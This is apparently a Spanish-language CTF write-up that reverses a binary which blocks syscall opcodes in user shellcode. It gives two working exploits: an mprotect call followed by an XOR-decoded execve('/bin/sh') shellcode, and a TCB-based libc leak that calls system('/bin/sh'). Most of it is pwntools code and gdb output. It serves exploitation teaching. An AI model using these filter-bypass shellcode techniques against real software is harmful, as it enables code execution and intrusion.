Reversing
Si ejecutamos el binario nos pide una entrada donde enviamos 16 bytes, nos devuelve un mensaje y corrompe de alguna forma inesperada sin más
❯ ./pwneame
pwn it:
AAAAAAAABBBBBBBB
Go!
zsh: segmentation fault (core dumped) ./pwneame
Iniciamos desensamblando el programa con ida, la función main inicia llamando a mmap para reservar 0x64 o 100 bytes de memoria en la dirección 0xcafe0000, luego con memset llena el buffer que retorna que nosotros llamamos shellcode con 0's
Luego muestra un mensaje con puts y lee 0x64 bytes, llama a la función forbidden pasandole el shellcode como argumento y realiza un salto condicional si retorna 0
Si realiza el salto jz utiliza mprotect para establecer permisos 4 a 0x100 bytes del buffer asignado y realiza un call rdx donde previamente se guardó el shellcode
La función forbidden recibe el shellcode y lo guarda en una variable address, además inicializa un iterador i en 0 que se utilizará para recorrer todo el shellcode
Compara que el iterador sea menor o igual que 98, si lo es compara el byte en la posición i contra el byte 0xf, esto se hace porque los shellcodes generalmente ejecutan la instrucción syscall o sysenter las cuales en su opcode tienen 0f
❯ asm -c amd64 'syscall'
0f05
❯ asm -c amd64 'sysenter'
0f34
En caso de que pase esa comprobación compara el byte en la posición i con 0xcd y el byte en la posición i + 1 con 0x80, esto se hace porque otra forma de realizar una syscall es ejecutar int 0x80 cuyo opcode es cd80, en caso de que exista una de estos bytes llama a puts y retorna 1 evitando asi que se ejecute el shellcode
❯ asm -c amd64 'int 0x80'
cd80
Explotación 1
Comenzamos mirando las protecciones del binario, este contiene FULL RELRO que impide escribir en la tabla got, contiene PIE que hace aleatoria la dirección base del binario y NX que impide ejecutar shellcode en el stack sin embargo como aqui el programa ejecuta el call a un espacio reservado no nos afecta directamente
❯ checksec pwneame
[*] '/home/user/pwneame'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Entonces iniciamos nuestro exploit estableciendo un breakpoint en el call rdx y lo que enviaremos cuando nos pida un input será simplemente 8 nops o 0x90
#!/usr/bin/python3
from pwn import gdb, context, asm
shell = gdb.debug("./pwneame", "b *main+197\ncontinue")
context.arch = "amd64"
shellcode = b""
shellcode += asm("nop") * 8
shell.sendlineafter(b": \n", shellcode)
shell.recvlines(3)
shell.interactive()
Al llegar a la instrucción call rdx entramos a la llamada y vemos que se ejecutarán nuestros 8 nops, comprobamos que el input se interpreta como shellcode
Breakpoint 1, 0x00005ec6130d83b0 in main ()
pwndbg> x/i $rip
=> 0x5ec6130d83b0 <main+197>: call rdx
pwndbg> si
0x00000000cafe0000 in ?? ()
pwndbg> x/8i $rip
=> 0xcafe0000: nop
0xcafe0001: nop
0xcafe0002: nop
0xcafe0003: nop
0xcafe0004: nop
0xcafe0005: nop
0xcafe0006: nop
0xcafe0007: nop
pwndbg>
Si podemos ejecutar shellcode normalmente enviamos un shellcode como este de 21 bytes que ejecute un execve("/bin/sh", NULL, NULL); sin embargo por la limitación en la syscall al intentar ejecutarlo nos muestra Forbidden y no lo ejecuta
#!/usr/bin/python3
from pwn import process, context, asm
shell = process("./pwneame")
context.arch = "amd64"
shellcode = b""
shellcode += asm("push 0x3b") # execve() NR
shellcode += asm("pop rax") # $rax = execve()
shellcode += asm("mov rdi, 0x68732f6e69622f") # $rdi = "/bin/sh"
shellcode += asm("push rdi") # $rsp = &"/bin/sh"
shellcode += asm("push rsp") # &"/bin/sh"
shellcode += asm("pop rdi") # $rdi = &"/bin/sh"
shellcode += asm("cdq") # $rdx = NULL
shellcode += asm("push rdx") # $rsp = &0x0
shellcode += asm("pop rsi") # $rdi = NULL
shellcode += asm("syscall") # system call execve()
shell.sendlineafter(b": \n", shellcode)
shell.recvlines(3)
shell.interactive()
❯ python3 exploit.py
[+] Starting local process './pwneame': pid 57510
[*] Switching to interactive mode
Forbidden!
[*] Got EOF while reading in interactive
$
Una técnica muy conocida es aplicar una operación xor al shellcode, en este caso con la key 0x1 y enviar un decoder que en este caso funciona de la siguiente forma
El decoder inicia guardando la longitud del shellcode en rcx, guarda en rdi la dirección donde inicia y hace un short jump para evitar ejecutar el shellcode xoreado, luego realiza un bucle donde por cada iteración realiza el mismo xor en el byte y decremente rcx, incrementa rdi para pasar al siguiente byte y continua hasta que rcx llega a 0 y salta al shellcode original que ya ha sido decodeado con el xor
#!/usr/bin/python3
from pwn import gdb, context, asm, xor
shell = gdb.debug("./pwneame", "b *main+197\ncontinue")
context.arch = "amd64"
shellcode = b""
shellcode += asm("push 0x3b") # execve() NR
shellcode += asm("pop rax") # $rax = execve()
shellcode += asm("mov rdi, 0x68732f6e69622f") # $rdi = "/bin/sh"
shellcode += asm("push rdi") # $rsp = &"/bin/sh"
shellcode += asm("push rsp") # &"/bin/sh"
shellcode += asm("pop rdi") # $rdi = &"/bin/sh"
shellcode += asm("cdq") # $rdx = NULL
shellcode += asm("push rdx") # $rsp = &0x0
shellcode += asm("pop rsi") # $rdi = NULL
shellcode += asm("syscall") # system call execve()
shellcode = xor(shellcode, 0x1)
payload = b""
payload += asm("push 0x15") # $rsp = len(shellcode)
payload += asm("pop rcx") # $rcx = counter
payload += asm("add edi, 0x8") # $rdi = shellcode start
payload += asm("jmp $+0x17") # jump xored shellcode
payload += shellcode # save xored shellcode
payload += asm("xor byte ptr [rdi], 0x1") # restore xored byte
payload += asm("dec cl") # decrease counter
payload += asm("inc edi") # increase address
payload += asm("jrcxz $-0x1c") # if $rcx == 0 -> exec shellcode
payload += asm("jmp $-0x9") # if $rcx != 0 -> loop to decode
shell.sendlineafter(b": \n", payload)
shell.recvlines(3)
shell.interactive()
Si intentamos ejecutar nuestro exploit nos encontramos un gran problema, al intentar ejecutar el primer xor el programa corrompe debido a que el espacio reservado tiene solo privilegios x pero no w por lo que no puede modificar la memoria
Breakpoint 1, 0x00005aa942c383b0 in main ()
pwndbg> c
Continuando.
Program received signal SIGSEGV, Segmentation fault.
0x00000000cafe001d in ?? ()
pwndbg> x/i $rip
=> 0xcafe001d: xor BYTE PTR [rdi],0x1
pwndbg> vmmap 0xcafe0000
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File
► 0xcafe0000 0xcafe1000 --xp 1000 0 [anon_cafe] +0x0
0x5aa942c37000 0x5aa942c38000 r--p 1000 0 /home/user/pwneame
pwndbg>
Afortunadamente cuando llegamos al call el registro rcx se almacena la dirección de mprotect + 11, podriamos usar mprotect para modificar estos privilegios a gusto
Breakpoint 1, 0x000061b0c04e03b0 in main ()
pwndbg> x/i $rcx
0x7cdfa351e8bb <mprotect+11>: cmp rax,0xfffffffffffff001
pwndbg>
Entonces, nuestro shellcode guarda en rax la dirección de mprotect a partir del registro rcx, luego en rdi la dirección 0xcafe0000 que es donde queremos modificar, en rsi la longitud 0x1000 y finalmente en rdx los privilegios 7 que equivale a rwx, una vez seteados llamamos a rax que contiene el mprotect
#!/usr/bin/python3
from pwn import gdb, context, asm
shell = gdb.debug("./pwneame", "b *main+197\ncontinue")
context.arch = "amd64"
payload = b""
payload += asm("lea rax, [rcx - 0xb]") # $rax = mprotect()
payload += asm("xor rdi, rdi") # $rdi = 0x0
payload += asm("mov edi, 0xcafeffff") # $rdi = 0xcafeffff
payload += asm("inc di") # $rdi = 0xcafe0000
payload += asm("push 0x10") # $rsp = &0x10
payload += asm("pop rsi") # $rsi = 0x10
payload += asm("shl rsi, 0x8") # $rsi = 0x1000
payload += asm("push 0x7") # $rsp = &0x7
payload += asm("pop rdx") # $rdx = 0x7
payload += asm("call rax") # call mprotect()
shell.sendlineafter(b": \n", payload)
shell.recvlines(3)
shell.interactive()
Entonces, cuando llegamos al breakpoint saltamos a la llamada y podemos ver que se llamará a la función mprotect(0xcafe0000, 0x1000, 0x7); que modificará los permisos
Breakpoint 1, 0x000063e80d1b73b0 in main ()
pwndbg> si
0x00000000cafe0000 in ?? ()
pwndbg> nextcall
Temporary breakpoint -10, 0x00000000cafe0019 in ?? ()
pwndbg> x/i 0xcafe0019
=> 0xcafe0019: call rax
pwndbg> x/i $rax
0x74f93151e8b0 <mprotect>: endbr64
pwndbg> p/x $rdi
$1 = 0xcafe0000
pwndbg> p/x $rsi
$2 = 0x1000
pwndbg> p/x $rdx
$3 = 0x7
pwndbg>
Cuando llamamos a mprotect podemos comprobar los permisos de la dirección 0xcafe0000 y ahora se han modificado a rwx por lo que deberiamos poder escribir
pwndbg> ni
0x00000000cafe001b in ?? ()
pwndbg> vmmap 0xcafe0000
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File
► 0xcafe0000 0xcafe1000 rwxp 1000 0 [anon_cafe] +0x0
0x63e80d1b6000 0x63e80d1b7000 r--p 1000 0 /home/user/pwneame
pwndbg>
Nuestro exploit final inicia ejecutando mprotect para cambiar los permisos a rwx y luego ya ejecuta el decoder que anteriormente vimos como funciona, una vez que se restauramos el shellcode original con execve lo ejecuta y nos otorga la shell
#!/usr/bin/python3
from pwn import process, context, asm, xor
shell = process("./pwneame")
context.arch = "amd64"
shellcode = b""
shellcode += asm("push 0x3b") # execve() NR
shellcode += asm("pop rax") # $rax = execve()
shellcode += asm("mov rdi, 0x68732f6e69622f") # $rdi = "/bin/sh"
shellcode += asm("push rdi") # $rsp = &"/bin/sh"
shellcode += asm("push rsp") # &"/bin/sh"
shellcode += asm("pop rdi") # $rdi = &"/bin/sh"
shellcode += asm("cdq") # $rdx = NULL
shellcode += asm("push rdx") # $rsp = &0x0
shellcode += asm("pop rsi") # $rdi = NULL
shellcode += asm("syscall") # system call execve()
shellcode = xor(shellcode, 0x1)
payload = b""
payload += asm("lea rax, [rcx - 0xb]") # $rax = mprotect()
payload += asm("xor rdi, rdi") # $rdi = 0x0
payload += asm("mov edi, 0xcafeffff") # $rdi = 0xcafeffff
payload += asm("inc di") # $rdi = 0xcafe0000
payload += asm("push 0x10") # $rsp = &0x10
payload += asm("pop rsi") # $rsi = 0x10
payload += asm("shl rsi, 0x8") # $rsi = 0x1000
payload += asm("push 0x7") # $rsp = &0x7
payload += asm("pop rdx") # $rdx = 0x7
payload += asm("call rax") # call mprotect()
payload += asm("push 0x15") # $rsp = len(shellcode)
payload += asm("pop rcx") # $rcx = counter
payload += asm("add edi, 0x23") # $rdi = shellcode start
payload += asm("jmp $+0x17") # jump xored shellcode
payload += shellcode # save xored shellcode
payload += asm("xor byte ptr [rdi], 0x1") # restore xored byte
payload += asm("dec cl") # decrease counter
payload += asm("inc edi") # increase address
payload += asm("jrcxz $-0x1c") # if $rcx == 0 -> exec shellcode
payload += asm("jmp $-0x9") # if $rcx != 0 -> loop to decode
shell.sendlineafter(b": \n", payload)
shell.recvlines(3)
shell.interactive()
❯ python3 exploit.py
[+] Starting local process './pwneame': pid 65488
[*] Switching to interactive mode
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$
Explotación 2
Otra forma interesante ya que nos otorgan el archivo libc.so.6 es obtener la dirección base de libc, esto lo hacemos accediendo a la estructura TCB en el segmento fs en el offset 0x0, guardamos en rax el qword que se encuentra en el offset 0xb20 de la dirección obtenida, este offset contiene la dirección base de libc
#!/usr/bin/python3
from pwn import gdb, context, asm
shell = gdb.debug("./pwneame", "continue")
context.arch = "amd64"
shellcode = b""
shellcode += asm("int3") # breakpoint
shellcode += asm("mov rax, fs:[0x0]") # $rax = fs segment
shellcode += asm("mov rax, [rax + 0xb20]") # $rax = libc base
shell.sendlineafter(b": \n", shellcode)
shell.recvlines(3)
shell.interactive()
Llegamos al breakpoint establecido con int3 y podemos ver nuestras 2 instrucciones
Program received signal SIGTRAP, Trace/breakpoint trap.
0x00000000cafe0001 in ?? ()
pwndbg> x/3i $rip-1
0xcafe0000: int3
=> 0xcafe0001: mov rax,QWORD PTR fs:0x0
0xcafe000a: mov rax,QWORD PTR [rax+0xb20]
pwndbg> ni
0x00000000cafe000a in ?? ()
pwndbg> ni
0x00000000cafe0011 in ?? ()
pwndbg>
Al ejecutar ambas podemos ver que el contenido de rax es la dirección base de libc
pwndbg> p/x $rax
$1 = 0x7eee83a00000
pwndbg> vmmap libc.so.6
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File
0x5679204b4000 0x5679204b8000 rw-p 4000 3000 /home/user/pwneame
► 0x7eee83a00000 0x7eee83a28000 r--p 28000 0 /home/user/libc.so.6
► 0x7eee83a28000 0x7eee83bbd000 r-xp 195000 28000 /home/user/libc.so.6
► 0x7eee83bbd000 0x7eee83c15000 r--p 58000 1bd000 /home/user/libc.so.6
► 0x7eee83c15000 0x7eee83c19000 r--p 4000 214000 /home/user/libc.so.6
► 0x7eee83c19000 0x7eee83c1b000 rw-p 2000 218000 /home/user/libc.so.6
0x7eee83c1b000 0x7eee83c71000 r--p 2000 0 /home/user/ld-linux-x86-64.so.2
pwndbg>
Ya con esto solo nos queda sumar los offsets para la función system y la string /bin/sh y hacer la llamada a la función calculada para asi obtener una shell
❯ libcdb file libc.so.6
[*] libc.so.6
Version: 2.35
BuildID: 203de0ae33b53fee1578b117cb4123e85d0534f0
MD5: a1aab220521fd980ab1467698349d259
SHA1: d70dd881e95e9e71ccfac941db27122a415f5086
SHA256: cf04db546ffc02cda97831d1711215015dc76927c415e59cbfcc1929ff1b00c4
Symbols:
__libc_start_main_ret = 0x29d90
dup2 = 0x114e20
printf = 0x606f0
puts = 0x80e50
read = 0x1145e0
str_bin_sh = 0x1d8678
system = 0x50d70
write = 0x114680
Entonces, obtenemos la dirección libc base en rax y la copiamos en rdi, a rdi le sumamos el offset de /bin/sh y a rax el de de system que luego llamaremos
#!/usr/bin/python3
from pwn import gdb, context, asm
shell = gdb.debug("./pwneame", "continue")
context.arch = "amd64"
shellcode = b""
shellcode += asm("mov rax, fs:[0x0]") # $rax = fs segment
shellcode += asm("mov rax, [rax + 0xb20]") # $rax = libc base
shellcode += asm("mov rdi, rax") # $rdi = libc base
shellcode += asm("add rdi, 0x1d8678") # $rdi = &"/bin/sh"
shellcode += asm("add rax, 0x50d70") # $rax = system()
shellcode += asm("call rax") # system("/bin/sh")
shell.sendlineafter(b": \n", shellcode)
shell.recvlines(3)
shell.interactive()
Una vez ejecutamos el exploit podemos ver que se corrompe al ejecutar un movaps, esto se debe a que las funciones de libc en x64 requieren que la pila este alineada en 16 bytes, osea que la direccion de rsp termine en 0 que en este caso no es asi
Program received signal SIGSEGV, Segmentation fault.
0x00007eedc9050973 in __sigemptyset (set=<optimized out>)
pwndbg> x/i $rip
=> 0x7eedc9050973 <do_system+115>: movaps XMMWORD PTR [rsp],xmm1
pwndbg> p/x $rsp
$1 = 0x7ffc85cd8818
pwndbg>
Este problema lo solucionamos alineando un stack al ejecutar un add rsp, 8 antes de la llamada, entonces nuestro exploit calcula la dirección de libc base y al sumar los offsets podemos ejecutar un system("/bin/sh"); que nos devuelve una shell
#!/usr/bin/python3
from pwn import process, context, asm
shell = process("./pwneame")
context.arch = "amd64"
shellcode = b""
shellcode += asm("mov rax, fs:[0x0]") # $rax = fs segment
shellcode += asm("mov rax, [rax + 0xb20]") # $rax = libc base
shellcode += asm("mov rdi, rax") # $rdi = libc base
shellcode += asm("add rdi, 0x1d8678") # $rdi = &"/bin/sh"
shellcode += asm("add rax, 0x50d70") # $rax = system()
shellcode += asm("add rsp, 0x8") # align stack
shellcode += asm("call rax") # system("/bin/sh")
shell.sendlineafter(b": \n", shellcode)
shell.recvlines(3)
shell.interactive()
❯ python3 exploit2.py
[+] Starting local process './pwneame': pid 73280
[*] Switching to interactive mode
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$